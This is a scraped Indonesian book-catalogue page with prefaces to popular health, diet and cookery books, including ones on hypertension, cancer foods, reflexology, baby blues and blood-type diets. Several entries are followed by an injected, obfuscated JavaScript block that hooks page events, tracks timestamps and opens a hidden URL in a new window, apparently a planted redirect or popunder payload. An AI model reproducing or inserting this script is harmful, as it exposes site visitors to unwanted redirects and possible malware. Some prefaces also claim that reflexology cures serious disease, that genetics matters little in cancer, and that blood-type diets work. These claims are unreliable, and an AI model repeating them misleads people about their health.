yang akan membuat asupan natrium di dalam tubuh kita meninggi. Produk dari </span><span class="fontstyle2">fast food </span><span class="fontstyle0" style="font-size:11pt;">dan </span><span class="fontstyle2">junk food </span><span class="fontstyle0" style="font-size:11pt;">dipenuhi oleh MSG sebagai perasa yang menimbulkan candu. Sodium ini akan memenuhi aliran darah dan mengikat air. Akibatnya aliran darah menjadi lambat sehingga kinerja jantung sebagai alat pompa harus lebih cepat. Lebih cepat berarti menimbulkan tekanan darah yang meninggi sehingga muncullah gelaja darah tinggi.</span></p><p></p><p><span class="fontstyle0" style="font-size:11pt;">Perlu sikap ekstra hati-hati dalam mengonsumsi asupan harian. Jangan lagi ada salah persepsi untuk memilih makanan bagi keluarga dan diri kita. Salah persepsi&nbsp;</span>mengenai makanan tentu saja akan menimbulkan hal yang salah pula dengan kesehatan kita.<br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p><span class="fontstyle0"><p></p></span><span class="fontstyle2">Alhamdulillah</span><span class="fontstyle0">, buku ini hadir di tangan Anda untuk kembali merevisi pola makan kita. Tidak ada kata terlambat untuk menjadi lebih sehat dari sebelumnya. Dengan sedikit usaha dan kecermatan, </span><span class="fontstyle2">Insya Allah </span><span class="fontstyle0">hidup sehat akan mudah kita dapatkan.<p></p>Buku ini tidak akan sampai di tangan Anda, tanpa adanya ridha dari Allah Swt. Kepada guru kehidupan penulis, Susmi Indah dan Ma’shum Tasmun. Juga kepada Erni Fauziah, Ahmad Wiyono dan Ahmad Wiyoto. Kru Re! Media Service yang selalu memberikan masukan demi lahirnya buku ini. Nur Adi Septanto yang turut pula menambah kesempurnaan buku, dengan membantu ilustrasi dalam buku ini.<p></p>Penuh cinta dan harapan penulis sampaikan kepada sahabat hidup, Agung Hidayat. Buah hati Annabela Felistin dan Afghan Jihadi, semoga menjadi anak-anak yang shalih dan memberikan kontribusi terbaik untuk umat.<p></p>Semoga buku ini dapat menjadi panduan dalam menjalankan hidup sehat dan diet dalam mengatasi gejala penyakit darah tinggi (hipertensi).<p></p></span><span class="fontstyle0" style="font-size:12pt;">Bangil, 1 Agustus 2012<p></p></span><span class="fontstyle3">Puspita R.M</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Tahukah Anda Makanan Berbahaya Untuk Penyakit Kanker

Lely Noormindhawati

<p><span class="fontstyle0">Sujud syukur kepada Allah </span><span class="fontstyle2">Azza wa Jalla </span><span class="fontstyle0">karena penulis dapat menyelesaikan buku berjudul “Tahukah Anda Makanan Berbahaya untuk Kanker” ini. Buku ini merupakan persembahan penulis bagi para pejuang kanker. Besar harapan penulis bahwa buku ini mampu menjadi penyemangat hidup sekaligus menabur harapan kesembuhan bagi siapa saja yang kini sedang berjuang melawan penyakit tersebut.</span></p><p></p><p><span class="fontstyle0">Buku “Tahukah Anda Makanan Berbahaya untuk Kanker” menyadarkan kita betapa gaya hidup tidak sehat telah membuahkan hal buruk bagi tubuh kita. Kita tanpa sadar selama ini telah menyuntikkan racun ke dalam tubuh sendiri melalui pola makan yang tidak sehat yang ternyata adalah sumber karsinogen, biang utama penyebab kanker.</span></p><p></p><p><span class="fontstyle0">Buku ini juga menyajikan fakta bahwa faktor genetik bukanlah faktor dominan penyebab kanker. Jika faktor genetik merupakan sesuatu yang tidak bisa kita kendalikan, maka tidak demikian dengan pola makan. Faktor inilah yang sebenarnya memicu pertumbuhan sel-sel kanker. Oleh karena itu,&nbsp;</span></p><p><span class="fontstyle0"><span class="fontstyle0">bagi penderita kanker yang ingin bebas dari kanker, maka ia harus mampu mengendalikan pola makannya. Dengan membaca buku ini, penderita kanker bisa mengetahui daftar makanan berbahaya apa saja yang harus dihindari. Selain itu, penderita kanker juga akan mendapatkan berbagai tips penting untuk menghancurkan pertumbuhan sel-sel kanker.</span></span></p><p></p><p><span class="fontstyle0"><span class="fontstyle0">Semoga kehadiran buku “Tahukah Anda Makanan Berbahaya untuk Penyakit Kanker” mampu membantu pejuang kanker melawan penyakit tersebut, sekaligus bisa menjadi titik balik kesembuhan bagi para pejuang kanker.</span></span></p><p></p><p><span class="fontstyle0"><span class="fontstyle0">Tak lupa ucapan terima kasih yang tak terhingga buat keluarga tercinta yang telah mewarnai penulisan buku ini. Rekan dan kru Re! Media Service, kalian adalah sahabat, motivator, sekaligus inspirator untuk karya-karya penulis. Serta, semua pihak yang telah membantu selama pengerjaan buku “Tahukah Anda Makanan Berbahaya untuk Kanker”, terima kasih banyak atas segala dukungannya.</span></span></p><p></p><p><span class="fontstyle0"><span class="fontstyle0">Lely Noormindhawati</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></span><br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Tahukah Anda Makanan Berbahaya Untuk Jantung

Supriyadi Amir

Pijat Refleksi Untuk Kesehatan

Shanti Wahyuni

<p><span class="fontstyle0">Dalam kehidupan modern ini, telah banyak kita saksikan beraneka ragam penyakit yang tentunya berdampak negatif bagi manusia. Berbagai penyakit semakin akrab “menyambangi” kehidupan kita seharihari. Biaya pengobatan medis yang semakin mahal, membuat masyarakat semakin cerdas dalam mencari pengobatan alternatif yang lebih efektif dan berbiaya ringan. Pijat refleksi merupakan salah satu alternatif pengobatan yang dimaksud.</span></p><p></p><p><span class="fontstyle0">Pijat (</span><span class="fontstyle2">massage</span><span class="fontstyle0">) seringkali dianggap sebagai salah satu cara penyembuhan penyakit secara tradisional. Padahal saat ini teknik pijat dan segala hal yang menyertainya, telah diteliti secara ilmiah di berbagai negara maju, seperti Amerika, Australia, dan Cina. Penelitian yang dilakukan telah membuka mata sebagian besar orang bahwa pijat refleksi merupakan salah satu cara pengobatan nonmedis yang tidak diragukan lagi khasiatnya.</span></p><p></p><p><span class="fontstyle0">Seiring dengan perkembangan ilmu pengetahuan dan teknologi, anatomi tubuh manusia beserta titiktitik saraf vital juga semakin digali lebih dalam oleh para peneliti. Hal ini memberikan keuntungan tersendiri bagi para terapis pijat karena semakin membuktikan bahwa&nbsp;</span>pijat refleksi memang dapat menjadi cara penyembuhan aneka macam penyakit, mulai dari penyakit ringan sampai penyakit berat.<br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p><span class="fontstyle0"><p></p>Buku ini memuat berbagai hal yang penting untuk diketahui oleh mereka yang ingin tahu lebih dalam mengenai pijat refleksi, baik masyarakat umum, praktisi kesehatan, ahli pijat, dan pihak lainnya. Di dalamnya dibahas mengenai sejarah pijat refleksi, teknik-teknik memijat, serta rangkaian gerakan pijat refleksi yang disajikan secara </span><span class="fontstyle2">step by step</span><span class="fontstyle0">. Setiap rangkaian gerak disertai dengan foto-foto gerakan sehingga mempermudah pembaca untuk melakukan gerakan pemijatan.<p></p>Setelah membaca buku ini, pembaca diharapkan semakin menyadari kebesaran Tuhan YME, karena tangan dan kaki yang diciptakan-Nya ternyata bukan hanya berfungsi untuk menunjang segala kegiatan dalam keseharian, melainkan di dalamnya terdapat area yang merefleksikan seluruh anggota tubuh. Akhir kata, semoga buku ini dapat membawa manfaat untuk masyarakat luas. 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Penyakit Berbahaya Pada Bayi dan Balita 17

Andin Sefrina, Suhendri Cahya Purnama

<p><span class="fontstyle0">Puji syukur kami panjatkan pada Allah swt., karena hanya dengan rahmat dan hidayah-Nya kami dapat menyelesaikan buku ini. Buku ini berisi mengenai segala sesuatu mengenai penyakit bayi dan balita beserta penanganannya. Ditujukan khususnya kepada orangtua yang memiliki bayi dan balita dalam mengenali dan mewaspadai penyakit atau gangguan pada bayi dan balita.</span></p><p></p><p><span class="fontstyle0">Tak lupa kami mengucapkan terima kasih pada berbagai pihak yang telah membantu dalam proses penyusunan buku. Kami juga menyadari bahwa buku ini masih belum sempurna sehingga mohon maaf bila masih ada isi dari buku yang kurang berkenan. Semoga bermanfaat bagi pembaca semua.</span></p><p></p><p><span class="fontstyle0">Penyusun</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>

Mengenal Baby Blues dan Pencegahannya

Hj. Afin Murtiningsih, S.Psi

<p><span class="fontstyle0">Menjadi ibu adalah kodrat terindah bagi seorang wanita yang telah bersuami. Kehadiran sang buah hati pastilah ditunggu semenjak awal kedua pasangan membangun rumah tangga. Sebuah rumah akan terasa ramai dan menyenangkan dengan kehadiran anak-anak yang lucu. Semangat sang ayah untuk mencari nafkah semakin meningkat. Begitu pun semangat sang ibu dalam mengatur rumah tangganya, semakin bertambah dari hari ke hari.</span></p><p></p><p><span class="fontstyle0">Setiap wanita pastilah merasa bahagia dan bangga apabila berhasil hamil dan memiliki seorang bayi mungil. Kehadiran bayi merupakan sebuah tanda cinta sepasang suami istri dan sebagai tumpahan kasih sayang dalam sebuah keluarga. Terkadang, keinginan untuk memperoleh seorang anak sangatlah besar. Segala cara ditempuh oleh pasangan suami istri agar berhasil mendapatkan sang buah hati. Namun, semua tidaklah semudah yang dibayangkan. Kehamilan dan proses melahirkan bisa jadi justru membuat wanita menjadi galau.</span></p><p></p><p><span class="fontstyle0">Galau? Ya, terkadang wanita merasa resah, bingung, dan sangat bersedih setelah kelahiran bayinya. </span><span class="fontstyle2">Baby blues</span><span class="fontstyle0">, istilah tersebut bisa menjadi sebuah momok yang menakutkan bagi seorang wanita. Terutama bagi mereka yang baru saja berumah tangga dan menghadapi kelahiran putra pertama.</span></p><p><span class="fontstyle0"><br></span> <span class="fontstyle0">Lalu, apakah kita akan pasrah apabila mengalami hal tersebut? Diam-diam menangis, sulit mengungkapkan apa yang dirasakan, bingung tak tahu mesti berbuat apa. Tentu saja sebuah kondisi dilematis, bagi si bayi dan bagi si ibu sendiri.</span></p><p></p><p><span class="fontstyle0">Buku ini akan mengungkap tuntas tentang segala hal yang berkaitan dengan </span><span class="fontstyle2">baby blues</span><span class="fontstyle0">. Mengapa seorang wanita bisa terserang </span><span class="fontstyle2">baby blues</span><span class="fontstyle0">, padahal ada pula wanita yang justru nyaman dengan bayinya? Bagaimana cara mengantisipasi dan mengatasi perasaan yang mengganggu tersebut?</span></p><p></p><p><span class="fontstyle0">Semoga lembar demi lembar buku yang ditulis berdasarkan pengetahuan dan pengalaman pribadi ini dapat membantu para ibu. Hilanglah </span><span class="fontstyle2">baby blues </span><span class="fontstyle0">dan berganti menjadi </span><span class="fontstyle2">happy baby for everyday.</span></p><p></p><p><span class="fontstyle2"></span><span class="fontstyle0">Salam Sayang, (Afin Murtie)</span> <br style="font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-alternates: normal; line-height: normal; text-align: -webkit-auto; text-size-adjust: auto;"></p> <script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Jaminan Kesehatan Nasional

Prof. Dr. Hasbullah Thabrany, MPH, Dr.PH

Jajanan Pasar Istimewa

Siti Mariatin

<p>Masyarakat Indonesia sebagian besar menyukai ragam kuliner, dari yang mulai makanan ber-budget kecil hingga besar. Begitu juga dengan jajanan pasar. Lantas apa itu jajanan pasar? Jajanan pasar ialah jenis kuliner yang biasa dijajakan di pasar tradisional. Tentunya kuliner itu merupakan kuliner yang telah berumur tua. Untuk itu, dengan membuat ragam jajanan pasar sama halnya dengan menjaga kelestarian makanan tersebut. Dalam buku ini akan disajikan sebanyak 50 resep jajanan pasar yang mudah diaplikasikan karena di dalamnya disertai dengan langkah-langkah dalam pembuatannya. Pembuatan resep-resep tersebut tentunya masih banyak kekurangannya. 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HIPERTENSI KANDAS BERKAT HERBAL

Tim Literasia Eduka

Hidup Sehat Untuk Golongan Darah O

dr. Christiana Dwi Setyaningsih, Irmawati, S.Si., Apt.

<p>Umumnya diet dilakukan dengan tujuan untuk menurunkan berat badan dan membentuk badan lebih ideal. Ada bermacam-macam diet yang dilakukan dan memiliki tujuan tertentu. Seseorang yang memiliki berat badan berlebih akan berusaha keras untuk melakukan diet. Segala macam diet dicoba, namun terkadang tidak membuahkan hasil yang maksimal. Saat ini telah banyak teori diet yang dikenal. Tetapi tidak semua cara berdiet akan memberikan hasil yang memuaskan. Kebanyakan cara berdiet mengharuskan untuk mengurangi porsi makan. Hal ini akan sangat menyiksa terutama apabila memiliki penyakit yang akan terpengaruh dengan pembatasan tersebut. Cara berdiet menurut golongan darah tidak mengurangi porsi makan tetapi berdasarkan kemampuan tubuh untuk mencerna makanan. Tidak semua jenis makanan dapat dicerna dengan baik. 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Hidup Sehat Untuk Golongan Darah B

dr. Christiana Dwi Setyaningsih, Irmawati, S.Si., Apt.

<p>Umumnya diet dilakukan dengan tujuan untuk menurunkan berat badan dan membentuk badan lebih ideal. Ada bermacam-macam diet yang dilakukan dan memiliki tujuan tertentu. Seseorang yang memiliki berat badan berlebih akan berusaha keras untuk melakukan diet. Segala macam diet dicoba namun terkadang tidak membuahkan hasil yang maksimal. Saat ini telah banyak teori diet yang dikenal. Tetapi tidak semua cara berdiet akan memberikan hasil yang memuaskan. Kebanyakan cara berdiet mengharuskan untuk mengurangi porsi makan. Hal ini akan sangat menyiksa terutama apabila memiliki penyakit yang akan terpengaruh dengan pembatasan tersebut. Cara berdiet menurut golongan darah tidak mengurangi porsi makan tetapi berdasarkan kemampuan tubuh untuk mencerna makanan. Tidak semua jenis makanan dapat dicerna dengan baik. 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Hidup Sehat Untuk Golongan Darah AB

dr. Christiana Dwi Setyaningsih, Irmawati, S.Si., Apt.

<p>Umumnya diet dilakukan dengan tujuan untuk menurunkan berat badan dan membentuk badan lebih ideal. Ada bermacam-macam diet yang dilakukan dan memiliki tujuan tertentu. Seseorang yang memiliki berat badan berlebih akan berusaha keras untuk melakukan diet. Segala macam diet dicoba namun terkadang tidak membuahkan hasil yang maksimal. Saat ini telah banyak teori diet yang dikenal. Tetapi tidak semua cara berdiet akan memberikan hasil yang memuaskan. Kebanyakan cara berdiet mengharuskan untuk mengurangi porsi makan. Hal ini akan sangat menyiksa terutama apabila memiliki penyakit yang akan terpengaruh dengan pembatasan tersebut. Cara berdiet menurut golongan darah tidak mengurangi porsi makan tetapi berdasarkan kemampuan tubuh untuk mencerna makanan. Tidak semua jenis makanan dapat dicerna dengan baik. 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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>

Hidup Sehat Untuk Golongan Darah A

dr. Christiana Dwi Setyaningsih, Irmawati, S.Si., Apt.

<p>Umumnya, diet dilakukan dengan tujuan untuk menurunkan berat badan dan membentuk badan lebih ideal. Ada bermacam-macam diet yang dilakukan dan memiliki tujuan tertentu. Seseorang yang memiliki berat badan berlebih akan berusaha keras untuk melakukan diet. Segala macam diet dicoba, namun terkadang tidak membuahkan hasil yang maksimal. Saat ini, telah banyak teori diet yang dikenal. Akan tetapi, tidak semua cara diet akan memberikan hasil yang memuaskan. Kebanyakan cara berdiet mengharuskan untuk mengurangi porsi makan. Hal ini akan sangat menyiksa, terutama apabila orang yang berdiet tersebut memiliki penyakit yang akan berpengaruh dengan pembatasan tersebut. Cara berdiet menurut golongan darah tidak mengurangi porsi makan tetapi berdasarkan kemampuan tubuh untuk mencerna makanan. Tidak semua jenis makanan dapat dicerna dengan baik. Golongan darah yang berbeda dapat saja kesulitan untuk mencerna makanan yang mudah dicerna oleh golongan darah yang lain. Buku ini akan memaparkan secara rinci mengenai diet menurut golongan darah A yang dapat membantu menghasilkan berat badan yang ideal. Dijelaskan juga mengenai makanan yang dibutuhkan dan makanan yang harus dihindari. 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